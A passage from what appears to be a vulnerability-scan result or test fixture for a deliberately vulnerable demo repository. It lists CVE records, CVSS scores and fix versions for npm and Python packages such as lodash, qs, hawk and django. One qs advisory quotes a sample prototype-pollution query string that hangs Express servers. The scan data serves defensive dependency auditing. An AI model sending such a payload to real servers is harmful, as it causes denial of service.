mechanisms for making authenticated HTTP requests with partial cryptographic verification of the request and response, covering the HTTP method, request URI, host, and optionally the request payload. Hawk used a regular expression to parse `Host` HTTP header (`Hawk.utils.parseHost()`), which was subject to regular expression DoS attack - meaning each added character in the attacker\\\\'s input increases the computation time exponentially. `parseHost()` was patched in `9.0.1` to use built-in `URL` class to parse hostname instead. `Hawk.authenticate()` accepts `options` argument. If that contains `host` and `port`, those would be used instead of a call to `utils.parseHost()`.\", 'packageVersion': '1.0.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'hawk', 'publishedDate': '2022-05-05T23:15:00Z', 'cvss': 7.5, 'status': 'fixed in 9.0.1'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2016-2515', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2016-2515', 'description': 'Hawk before 3.1.3 and 4.x before 4.1.1 allow remote attackers to cause a denial of service (CPU consumption or partial outage) via a long (1) header or (2) URI that is matched against an improper regular expression.', 'packageVersion': '1.0.0', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'hawk', 'publishedDate': '2016-01-19T00:00:00Z', 'cvss': 7, 'status': 'fixed in 4.1.1, 3.1.3'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2019-10744', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-10744', 'description': 'Versions of lodash lower than 4.17.12 are vulnerable to Prototype Pollution. The function defaultsDeep could be tricked into adding or modifying properties of Object.prototype using a constructor payload.', 'packageVersion': '2.4.2', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H', 'packageName': 'lodash', 'publishedDate': '2019-07-26T00:15:00Z', 'cvss': 9.1, 'status': 'fixed in 4.17.12'}, {'severity': 'high', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'High severity': {}}, 'cveId': 'CVE-2020-8203', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-8203', 'description': 'Prototype pollution attack when using _.zipObjectDeep in lodash before 4.17.20.', 'packageVersion': '2.4.2', 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H', 'packageName': 'lodash', 'publishedDate': '2020-07-15T17:15:00Z', 'cvss': 7.4, 'status': 'fixed in 4.17.20'}, {'severity': 'medium', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'Medium severity': {}}, 'cveId': 'CVE-2018-16487', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-16487', 'description': 'A prototype pollution vulnerability was found in lodash <4.17.11 where the functions merge, mergeWith, and defaultsDeep can be tricked into adding or modifying properties of Object.prototype.', 'packageVersion': '2.4.2', 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L', 'packageName': 'lodash', 'publishedDate': '2019-02-01T18:29:00Z', 'cvss': 5.6, 'status': 'fixed in 4.17.11'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-23337', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23337', 'description': 'Lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.', 'packageVersion': '2.4.2', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'lodash', 'publishedDate': '2021-02-15T13:15:00Z', 'cvss': 7.2, 'status': 'fixed in 4.17.21'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2019-1010266', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-1010266', 'description': 'lodash prior to 4.17.11 is affected by: CWE-400: Uncontrolled Resource Consumption. The impact is: Denial of service. The component is: Date handler. The attack vector is: Attacker provides very long strings, which the library attempts to match using a regular expression. The fixed version is: 4.17.11.', 'packageVersion': '2.4.2', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'lodash', 'publishedDate': '2019-07-17T21:15:00Z', 'cvss': 6.5, 'status': 'fixed in 4.17.11'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2020-28500', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-28500', 'description': 'Lodash versions prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.', 'packageVersion': '2.4.2', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L', 'packageName': 'lodash', 'publishedDate': '2021-02-15T11:15:00Z', 'cvss': 5.3, 'status': 'fixed in 4.17.21'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2018-3721', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-3721', 'description': 'lodash node module before 4.17.5 suffers from a Modification of Assumed-Immutable Data (MAID) vulnerability via defaultsDeep, merge, and mergeWith functions, which allows a malicious user to modify the prototype of \\\\\"Object\\\\\" via __proto__, causing the addition or modification of an existing property that will exist on all objects.', 'packageVersion': '2.4.2', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N', 'packageName': 'lodash', 'publishedDate': '2018-06-07T02:29:00Z', 'cvss': 6.5, 'status': 'fixed in 4.17.5'}, {'severity': 'moderate', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'Medium severity': {}}, 'cveId': 'CVE-2017-16026', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-16026', 'description': 'Request is an http client. If a request is made using ```multipart```, and the body type is a ```number```, then the specified number of non-zero memory is passed in the body. This affects Request >=2.2.6 <2.47.0 || >2.51.0 <=2.67.0.', 'packageVersion': '2.36.0', 'vector': 'CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N', 'packageName': 'request', 'publishedDate': '2018-06-04T19:29:00Z', 'cvss': 4, 'status': 'fixed in 2.68.0, 2.68.0'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2018-1000620', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-1000620', 'description': 'Eran Hammer cryptiles version 4.1.1 earlier contains a CWE-331: Insufficient Entropy vulnerability in randomDigits() method that can result in An attacker is more likely to be able to brute force something that was supposed to be random.. This attack appear to be exploitable via Depends upon the calling application.. This vulnerability appears to have been fixed in 4.1.2.', 'packageVersion': '0.2.2', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'cryptiles', 'publishedDate': '2018-07-19T00:00:00Z', 'cvss': 9, 'status': 'fixed in 4.1.2'}, {'severity': 'medium', 'riskFactors': {'Has fix': {}, 'Medium severity': {}}, 'cveId': 'PRISMA-2022-0087', 'link': 'https://github.com/ljharb/qs/issues/200', 'description': \"qs package versions before 6.3.1 are vulnerable to Prototype Pollution. It\\\\'s a bypass for CVE-2017-1000048, that only fixed ]=toString, but not fixed  [=toString. So it is possible to override prototype properties such as toString() for a nested object which exceeds the depth limit even when allowPrototypes is set to false.\", 'packageVersion': '0.6.6', 'vector': '', 'packageName': 'qs', 'publishedDate': '2022-03-17T09:41:42Z', 'cvss': 5.9, 'status': 'fixed in 6.3.1'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-24999', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-24999', 'description': 'qs before 6.10.3, as used in Express before 4.17.3 and other products, allows attackers to cause a Node process hang for an Express application because an __ proto__ key can be used. In many typical Express use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000. The fix was backported to qs 6.9.7, 6.8.3, 6.7.3, 6.6.1, 6.5.3, 6.4.1, 6.3.3, and 6.2.4 (and therefore Express 4.17.3, which has \\\\\"deps: qs@6.9.7\\\\\" in its release description, is not vulnerable).', 'packageVersion': '0.6.6', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'qs', 'publishedDate': '2022-11-26T22:15:00Z', 'cvss': 7.5, 'status': 'fixed in 6.10.3'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2017-1000048', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-1000048', 'description': \"the web framework using ljharb\\\\'s qs module older than v6.3.2, v6.2.3, v6.1.2, and v6.0.4 is vulnerable to a DoS. A malicious user can send a evil request to cause the web framework crash.\", 'packageVersion': '0.6.6', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'qs', 'publishedDate': '2017-03-01T00:00:00Z', 'cvss': 7, 'status': 'fixed in 6.3.2, 6.2.3, 6.1.2, 6.0.4'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2014-7191', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2014-7191', 'description': 'The qs module before 1.0.0 in Node.js does not call the compact function for array data, which allows remote attackers to cause a denial of service (memory consumption) by using a large index value to create a sparse array.', 'packageVersion': '0.6.6', 'vector': 'AV:N/AC:L/Au:N/C:N/I:N/A:P', 'packageName': 'qs', 'publishedDate': '2014-10-19T01:55:00Z', 'cvss': 7, 'status': 'fixed in 1.0.0'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2014-10064', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2014-10064', 'description': 'The qs module before 1.0.0 does not have an option or default for specifying object depth and when parsing a string representing a deeply nested object will block the event loop for long periods of time. An attacker could leverage this to cause a temporary denial-of-service condition, for example, in a web application, other requests would not be processed while this blocking is occurring.', 'packageVersion': '0.6.6', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'qs', 'publishedDate': '2018-05-31T20:29:00Z', 'cvss': 7, 'status': 'fixed in 1.0.0'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2018-3728', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-3728', 'description': 'hoek node module before 4.2.0 and 5.0.x before 5.0.3 suffers from a Modification of Assumed-Immutable Data (MAID) vulnerability via \\\\\\'merge\\\\\\' and \\\\\\'applyToDefaults\\\\\\' functions, which allows a malicious user to modify the prototype of \\\\\"Object\\\\\" via __proto__, causing the addition or modification of an existing property that will exist on all objects.', 'packageVersion': '0.9.1', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'hoek', 'publishedDate': '2018-03-30T19:29:00Z', 'cvss': 8.8, 'status': 'fixed in 5.0.3, 4.2.0'}, {'severity': 'high', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'High severity': {}}, 'cveId': 'CVE-2020-36604', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-36604', 'description': 'hoek before 8.5.1 and 9.x before 9.0.3 allows prototype poisoning in the clone function.', 'packageVersion': '0.9.1', 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'hoek', 'publishedDate': '2022-09-23T06:15:00Z', 'cvss': 8.1, 'status': 'fixed in 9.0.3, 8.5.1'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-33623', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-33623', 'description': 'The trim-newlines package before 3.0.1 and 4.x before 4.0.1 for Node.js has an issue related to regular expression denial-of-service (ReDoS) for the .end() method.', 'packageVersion': '1.0.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'trim-newlines', 'publishedDate': '2021-05-28T18:15:00Z', 'cvss': 7.5, 'status': 'fixed in 4.0.1, 3.0.1'}, {'severity': 'medium', 'riskFactors': {'Has fix': {}, 'Medium severity': {}, 'DoS': {}}, 'cveId': 'PRISMA-2021-0169', 'link': 'https://github.com/mishoo/UglifyJS/pull/5134', 'description': 'uglify-js package versions before 3.14.3 are vulnerable to Regular Expression Denial of Service (ReDoS) via minify() function that uses vulnerable regex.', 'packageVersion': '2.4.24', 'vector': '', 'packageName': 'uglify-js', 'publishedDate': '2021-12-23T10:05:50Z', 'cvss': 5.3, 'status': 'fixed in 3.14.3'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2015-8858', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2015-8858', 'description': 'The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse call, aka a \\\\\"regular expression denial of service (ReDoS).\\\\\"', 'packageVersion': '2.4.24', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'uglify-js', 'publishedDate': '2017-01-23T21:59:00Z', 'cvss': 7, 'status': 'fixed in 2.6.0'}, {'severity': 'medium', 'cveId': 'CVE-2017-16137', 'link': '', 'description': '', 'packageVersion': '2.3.0', 'vector': '', 'packageName': 'helmet', 'publishedDate': '', 'cvss': 5.3, 'status': 'fixed in 3.8.2', 'fixVersion': '3.8.2', 'causePackageName': 'debug', 'causePackageVersion': '2.2.0'}, {'severity': 'moderate', 'cveId': 'CVE-2019-2391', 'link': '', 'description': '', 'packageVersion': '2.2.36', 'vector': '', 'packageName': 'mongodb', 'publishedDate': '', 'cvss': 4, 'status': 'fixed in 3.1.13', 'fixVersion': '3.1.13', 'causePackageName': 'bson', 'causePackageVersion': '1.0.9'}, {'severity': 'critical', 'cveId': 'CVE-2020-7610', 'link': '', 'description': '', 'packageVersion': '2.2.36', 'vector': '', 'packageName': 'mongodb', 'publishedDate': '', 'cvss': 9.8, 'status': 'fixed in 3.1.13', 'fixVersion': '3.1.13', 'causePackageName': 'bson', 'causePackageVersion': '1.0.9'}, {'severity': 'moderate', 'cveId': 'GHSA-c3m8-x3cg-qm2c', 'link': '', 'description': '', 'packageVersion': '2.3.0', 'vector': '', 'packageName': 'helmet', 'publishedDate': '', 'cvss': 4, 'status': 'fixed in 3.21.3', 'fixVersion': '3.21.3', 'causePackageName': 'helmet-csp', 'causePackageVersion': '1.2.2'}], 'dependencyTreeS3ObjectKey': 'dependency_tree/ajbara/ajbara_cli_repo/ScaGoat-main/1670509263116/src/dependency-tree-package-lock.json', 'email': '', 'customerName': 'ajbara', 'dependencies': {'8': [9, 10], '9': [595], '22': [23, 24], '23': [29, 36, 92, 268, 354, 357, 358, 61, 592, 593, 333, 96, 99], '24': [25], '50': [51, 52, 53, 54, 55, 56, 57], '51': [127, 53, 128, 129, 55, 130, 131, 132, 133], '52': [31, 159, 55, 160], '54': [58], '56': [379, 355], '58': [59, 60, 61], '59': [61], '60': [61], '65': [66], '76': [77, 78, 79, 80, 81, 82, 83, 84, 85, 86], '79': [248], '81': [80, 151, 346, 236, 492], '82': [495], '83': [290], '85': [77, 81, 82, 195], '86': [589, 9], '90': [49, 91], '92': [30, 36, 93, 94, 55, 95, 96, 97, 98, 99], '93': [100], '94': [93, 369, 370, 371], '96': [50, 79, 159, 93, 400, 994, 995, 996], '97': [54, 55, 997], '98': [354], '99': [268, 354, 333, 957], '101': [102, 103, 104, 105, 106], '102': [106, 110, 111], '104': [108, 109, 112], '105': [107, 115, 116, 117, 118, 119], '106': [107, 110, 120, 111, 121, 122], '109': [113, 114], '115': [135, 252, 137, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264], '117': [591], '119': [414], '127': [177, 178], '129': [128, 468, 55], '130': [93, 100, 356, 98], '131': [506], '132': [31, 128, 100, 130], '133': [1049, 55], '135': [136, 137], '137': [136, 300, 301], '138': [139], '139': [1022, 269, 151, 553, 969, 970], '148': [22, 43, 92, 149, 150, 151, 152, 153, 154, 155, 156, 157], '149': [65, 404], '150': [417, 418], '152': [64], '153': [419], '156': [427, 23, 952], '159': [161], '160': [159, 912], '161': [505, 512, 513], '168': [169, 111, 170], '170': [107, 110, 120, 111, 538, 121, 122], '171': [172, 173, 174], '172': [176, 515, 173], '173': [20], '174': [172, 173], '177': [178], '178': [55], '188': [189, 190, 191, 192], '189': [193], '190': [189, 194, 83, 195], '197': [72], '198': [199], '200': [201], '228': [229, 230, 231], '231': [948], '232': [203, 204, 228, 233], '233': [151, 234, 235, 80, 236], '252': [135, 137, 301, 253, 312, 313, 306, 256], '253': [135, 467], '254': [467], '255': [135, 467], '257': [135, 267], '259': [135, 267, 301, 258], '260': [135, 267], '261': [135, 137, 308], '262': [508, 509, 521, 306, 314], '263': [312, 313, 534, 535], '264': [46, 135, 297, 381, 467, 530], '267': [258], '268': [58, 55], '297': [135, 298, 136, 137, 299, 300, 301, 302, 303, 304, 255, 305, 306, 307, 308, 258, 259, 309, 310, 311], '298': [303, 254, 314], '299': [135, 137], '300': [136], '302': [137, 300, 261], '306': [467], '307': [135], '309': [135, 267], '310': [135, 267], '311': [136, 465, 301, 262], '314': [301], '319': [320], '320': [114], '331': [79, 159, 93, 332, 333, 96, 99], '333': [354, 957], '335': [8, 34, 76, 198, 78, 336, 204, 79, 80, 292, 194, 318, 337, 338, 339, 340, 83, 191, 341, 342, 84, 343, 199, 344, 345, 346, 236, 86, 347, 348], '337': [79, 292, 194, 83, 191, 236, 195], '342': [399, 503], '344': [79, 80, 271, 292, 194, 318, 338, 81, 594, 5, 83, 343, 236], '345': [292, 194, 191, 344], '349': [350, 204, 79, 351, 352, 191, 199, 231], '354': [41, 355], '355': [356], '356': [55], '357': [36, 54, 331, 93, 358, 333, 96, 99], '358': [400], '369': [506], '371': [369, 370], '377': [101, 275, 109, 378], '378': [121, 711, 939, 105, 170], '384': [385, 168, 175, 110, 377, 386, 117, 387, 388, 389, 390, 391, 392, 393, 394, 170], '386': [101, 148, 396, 397, 394], '387': [385, 112, 612, 613], '388': [103, 557], '390': [113, 114], '392': [937, 591], '393': [138, 990], '394': [1058, 1059, 116, 117, 1060, 119], '396': [90], '397': [319], '414': [403, 415, 151, 396, 416, 155], '415': [416, 500], '416': [500], '417': [419], '467': [301], '468': [369, 469], '469': [470], '472': [188, 276, 473, 401, 474, 475, 476, 477, 478, 479, 480, 481], '474': [142, 200, 482, 483], '477': [488], '479': [617], '505': [506], '506': [470], '508': [465], '509': [135, 467], '512': [506], '515': [516], '521': [467], '530': [46, 135, 297, 381, 467], '535': [135, 137], '559': [502], '592': [29, 36, 268, 354, 358, 536, 61, 593, 333, 96, 99], '593': [55], '604': [315, 605, 606], '605': [123, 610], '606': [68, 69, 607, 126, 206, 151, 609], '607': [608], '610': [886, 964], '613': [140, 171, 250, 865, 172, 1070, 1078], '614': [79, 82, 615], '711': [611], '839': [68], '865': [559], '912': [205, 159, 506], '952': [206, 151, 68, 938, 608, 953, 609], '953': [608], '957': [971], '969': [970], '980': [318, 338, 981, 191, 982], '995': [45, 251, 967, 998, 999], '997': [506], '1016': [390, 1017], '1017': [107, 1039, 899, 1040], '1039': [13], '1040': [798, 902, 801, 250], '1049': [1050, 839, 128]}, 'repositoryId': ''},\n        '/requirements.txt': {'sourceId': 'ajbara_cli_repo/ScaGoat-main', 'type': 'Package', 'branch': '',\n                              'sourceType': 'CLI', 'vulnerabilities': [\n                {'cveId': 'CVE-2022-1941', 'status': 'fixed in 4.21.6, 3.20.2, 3.19.5, 3.18.3', 'severity': 'high',\n                 'packageName': 'protobuf', 'packageVersion': '3.18.1',\n                 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-1941', 'cvss': 7,\n                 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H',\n                 'description': 'A parsing vulnerability for the MessageSet type in the ProtocolBuffers versions prior to and including 3.16.1, 3.17.3, 3.18.2, 3.19.4, 3.20.1 and 3.21.5 for protobuf-cpp, and versions prior to and including 3.16.1, 3.17.3, 3.18.2, 3.19.4, 3.20.1 and 4.21.5 for protobuf-python can lead to out of memory failures. A specially crafted message with multiple key-value per elements creates parsing issues, and can lead to a Denial of Service against services receiving unsanitized input. We recommend upgrading to versions 3.18.3, 3.19.5, 3.20.2, 3.21.6 for protobuf-cpp and 3.18.3, 3.19.5, 3.20.2, 4.21.6 for protobuf-python. Versions for 3.16 and 3.17 are no longer updated.',\n                 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'DoS', 'Has fix',\n                                 'High severity',\n                                 'Recent vulnerability'], 'publishedDate': '2022-09-22T15:15:00Z'},\n                {'cveId': 'CVE-2021-44420', 'status': 'fixed in 3.2.10, 3.1.14, 2.2.25', 'severity': 'high',\n                 'packageName': 'django', 'packageVersion': '3.2.8',\n                 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-44420', 'cvss': 7.3,\n                 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L',\n                 'description': 'In Django 2.2 before 2.2.25, 3.1 before 3.1.14, and 3.2 before 3.2.10, HTTP requests for URLs with trailing newlines could bypass upstream access control based on URL paths.',\n                 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Has fix', 'High severity',\n                                 'Recent vulnerability'], 'publishedDate': '2021-12-08T00:15:00Z'},\n                {'cveId': 'CVE-2021-45452', 'status': 'fixed in 4.0.1, 3.2.11, 2.2.26', 'severity': 'medium',\n                 'packageName': 'django', 'packageVersion': '3.2.8',\n                 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-45452', 'cvss': 5.3,\n                 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N',\n                 'description': 'Storage.save in Django 2.2 before 2.2.26, 3.2 before 3.2.11, and 4.0 before 4.0.1 allows directory traversal if crafted filenames are directly passed to it.',\n                 'riskFactors': ['Recent vulnerability', 'Attack complexity: low', 'Attack vector: network',\n                                 'Has fix',\n                                 'Medium severity'], 'publishedDate': '2022-01-05T00:15:00Z'},\n                {'cveId': 'CVE-2021-45116', 'status': 'fixed in 4.0.1, 3.2.11, 2.2.26', 'severity': 'high',\n                 'packageName': 'django', 'packageVersion': '3.2.8',\n                 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-45116', 'cvss': 7.5,\n                 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N',\n                 'description': \"An issue was discovered in Django 2.2 before 2.2.26, 3.2 before 3.2.11, and 4.0 before 4.0.1. Due to leveraging the Django Template Language\\\\'s variable resolution logic, the dictsort template filter was potentially vulnerable to information disclosure, or an unintended method call, if passed a suitably crafted key.\",\n                 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Has fix', 'High severity',\n                                 'Recent vulnerability'], 'publishedDate': '2022-01-05T00:15:00Z'},\n                {'cveId': 'CVE-2021-45115', 'status': 'fixed in 4.0.1, 3.2.11, 2.2.26', 'severity': 'high',\n                 'packageName': 'django', 'packageVersion': '3.2.8',\n                 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-45115', 'cvss': 7.5,\n                 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H',\n                 'description': 'An issue was discovered in Django 2.2 before 2.2.26, 3.2 before 3.2.11, and 4.0 before 4.0.1. UserAttributeSimilarityValidator incurred significant overhead in evaluating a submitted password that was artificially large in relation to the comparison values. In a situation where access to user registration was unrestricted, this provided a potential vector for a denial-of-service attack.',\n                 'riskFactors': ['Recent vulnerability', 'Attack complexity: low', 'Attack vector: network', 'DoS',\n                                 'Has fix', 'High severity'], 'publishedDate': '2022-01-05T00:15:00Z'},\n                {'cveId': 'CVE-2022-22818', 'status': 'fixed in 4.0.2, 3.2.12, 2.2.27', 'severity': 'medium',\n                 'packageName': 'django', 'packageVersion': '3.2.8',\n                 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-22818', 'cvss': 6.1,\n                 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N',\n                 'description': 'The {% debug %} template tag in Django 2.2 before 2.2.27, 3.2 before 3.2.12, and 4.0 before 4.0.2 does not properly encode the current context. This may lead to XSS.',\n                 'riskFactors': ['Recent vulnerability', 'Attack complexity: low', 'Attack vector: network',\n                                 'Has fix',\n                                 'Medium severity'], 'publishedDate': '2022-02-03T02:15:00Z'},\n                {'cveId': 'CVE-2022-23833', 'status': 'fixed in 4.0.2, 3.2.12, 2.2.27', 'severity': 'high',\n                 'packageName': 'django', 'packageVersion': '3.2.8',\n                 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-23833', 'cvss': 7.5,\n                 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H',\n                 'description': 'An issue was discovered in MultiPartParser in Django 2.2 before 2.2.27, 3.2 before 3.2.12, and 4.0 before 4.0.2. Passing certain inputs to multipart forms could result in an infinite loop when parsing files.',\n                 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Has fix', 'High severity',\n                                 'Recent vulnerability'], 'publishedDate': '2022-02-03T02:15:00Z'},\n                {'cveId': 'CVE-2022-28346', 'status': 'fixed in 4.0.4, 3.2.13, 2.2.28', 'severity': 'critical',\n                 'packageName': 'django', 'packageVersion': '3.2.8',\n                 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-28346', 'cvss': 9.8,\n                 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H',\n                 'description': 'An issue was discovered in Django 2.2 before 2.2.28, 3.2 before 3.2.13, and 4.0 before 4.0.4. QuerySet.annotate(), aggregate(), and extra() methods are subject to SQL injection in column aliases via a crafted dictionary (with dictionary expansion) as the passed **kwargs.',\n                 'riskFactors': ['Recent vulnerability', 'Attack complexity: low', 'Attack vector: network',\n                                 'Critical severity', 'Has fix'], 'publishedDate': '2022-04-12T05:15:00Z'},\n                {'cveId': 'CVE-2022-28347', 'status': 'fixed in 4.0.4, 3.2.13, 2.2.28', 'severity': 'critical',\n                 'packageName': 'django', 'packageVersion': '3.2.8',\n                 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-28347', 'cvss': 9.8,\n                 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H',\n                 'description': 'A SQL injection issue was discovered in QuerySet.explain() in Django 2.2 before 2.2.28, 3.2 before 3.2.13, and 4.0 before 4.0.4. This occurs by passing a crafted dictionary (with dictionary expansion) as the **options argument, and placing the injection payload in an option name.',\n                 'riskFactors': ['Recent vulnerability', 'Attack complexity: low', 'Attack vector: network',\n                                 'Critical severity', 'Has fix'], 'publishedDate': '2022-04-12T05:15:00Z'},\n                {'cveId': 'CVE-2022-36359', 'status': 'fixed in 4.0.7, 4.0, 3.2.15', 'severity': 'high',\n                 'packageName': 'django', 'packageVersion': '3.2.8',\n                 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-36359', 'cvss': 8.8,\n                 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H',\n                 'description': 'An issue was discovered in the HTTP FileResponse class in Django 3.2 before 3.2.15 and 4.0 before 4.0.7. An application is vulnerable to a reflected file download (RFD) attack that sets the Content-Disposition header of a FileResponse when the filename is derived from user-supplied input.',\n                 'riskFactors': ['Has fix', 'High severity', 'Recent vulnerability', 'Attack complexity: low',\n                                 'Attack vector: network'], 'publishedDate': '2022-08-03T14:15:00Z'},\n                {'cveId': 'CVE-2022-34265', 'status': 'fixed in 4.0.6, 4.0, 3.2.14', 'severity': 'critical',\n                 'packageName': 'django', 'packageVersion': '3.2.8',\n                 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-34265', 'cvss': 9.8,\n                 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H',\n                 'description': 'An issue was discovered in Django 3.2 before 3.2.14 and 4.0 before 4.0.6. The Trunc() and Extract() database functions are subject to SQL injection if untrusted data is used as a kind/lookup_name value. Applications that constrain the lookup name and kind choice to a known safe list are unaffected.',\n                 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Critical severity', 'Has fix',\n                                 'Recent vulnerability'], 'publishedDate': 